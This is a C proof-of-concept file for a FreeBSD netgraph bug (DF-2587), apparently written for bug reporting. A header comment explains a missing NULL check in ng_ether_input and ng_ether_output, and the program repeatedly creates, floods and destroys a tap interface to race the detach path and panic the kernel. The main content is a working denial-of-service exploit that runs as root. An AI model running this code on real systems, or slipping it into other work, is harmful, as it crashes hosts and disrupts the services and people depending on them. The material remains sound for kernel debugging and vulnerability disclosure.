/*
 * DF-2587 PoC — ng_ether_input / ng_ether_input_orphan / ng_ether_output
 * dereference IFP2NG(ifp) as node->private with NO NULL check.
 *
 * Bug (sys/netgraph/ether/ng_ether.c):
 *   ng_ether_input (:206-207), ng_ether_input_orphan (:222-223),
 *   ng_ether_output (:260-261) all do:
 *       const node_p node = IFP2NG(ifp);
 *       const priv_p priv = node->private;        // NULL-deref if node==NULL
 *   whereas the sibling ng_ether_detach (:323) correctly guards:
 *       if (node == NULL) return;                 // :326
 *
 * IFP2NG(ifp) becomes NULL on a LIVE interface only via ng_ether_detach
 * (:331 `IFP2NG(ifp) = NULL`), which runs from ether_ifdetach when the
 * interface is destroyed. So the NULL-deref is reachable when a packet is
 * in ether_input -> ng_ether_input (netisr) on an interface that is being
 * concurrently detached (ng_ether_detach nulls IFP2NG between the packet
 * being queued and ng_ether_input reading IFP2NG). It is also reachable if
 * ng_ether_attach fails to set IFP2NG (:289/:296) and the interface still
 * receives packets — but that needs memory pressure.
 *
 * This PoC reproduces the detach race as root: create a tap interface
 * (ng_ether attaches to it), flood RX frames into it by writing the tap fd
 * (each write == one ethernet frame received -> ether_input -> ng_ether_input),
 * and concurrently destroy the tap (ifconfig tap0 destroy -> ether_ifdetach ->
 * ng_ether_detach -> IFP2NG=NULL). Under the race, ng_ether_input reads
 * IFP2NG==NULL and derefs -> panic. The race window is narrow; the loop runs
 * many create/flood/destroy cycles to hit it.
 *
 * Run as root: ./poc
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/wait.h>

static const unsigned char frame[64] = {
    /* dst=broadcast, src=02:00:00:00:00:01, type=0x0800, zero-padded */
    0xff,0xff,0xff,0xff,0xff,0xff, 0x02,0x00,0x00,0x00,0x00,0x01,
    0x08,0x00
};

static int sh(const char *cmd) { return system(cmd); }

int main(void)
{
    int cycle;
    fprintf(stderr, "[+] DF-2587 ng_ether detach race: burst-write -> close -> destroy\n");
    sh("kldload -n ng_ether 2>/dev/null");

    /* NOTE: ifconfig tapX destroy returns EBUSY while the tap fd is open,
     * so the detach (which nulls IFP2NG) can only run AFTER we close the fd.
     * The race is therefore: burst-write many frames (queued in netisr on
     * another CPU), close the fd, then destroy tap0 immediately. If the
     * netisr processes a queued frame AFTER ng_ether_detach has nulled
     * IFP2NG(tap0) but while the ifp is still being torn down, ng_ether_input
     * reads IFP2NG==NULL and derefs -> panic. Cross-CPU race. */
    for (cycle = 0; cycle < 4000; cycle++) {
        if (sh("ifconfig tap0 create 2>/dev/null") != 0)
            continue;
        int fd = open("/dev/tap0", O_RDWR);
        if (fd < 0) { sh("ifconfig tap0 destroy 2>/dev/null"); continue; }

        /* burst-write to queue many frames into netisr */
        for (int i = 0; i < 256; i++) {
            if (write(fd, frame, sizeof(frame)) < 0) break;
        }
        /* close so destroy can succeed, then destroy immediately to race netisr */
        close(fd);
        sh("ifconfig tap0 destroy 2>/dev/null");

        if (cycle % 200 == 0)
            fprintf(stderr, "[.] cycle %d\n", cycle);
    }
    sh("ifconfig tap0 destroy 2>/dev/null");
    fprintf(stderr, "[+] done — if we got here, no panic on this run (race narrow)\n");
    return 0;
}
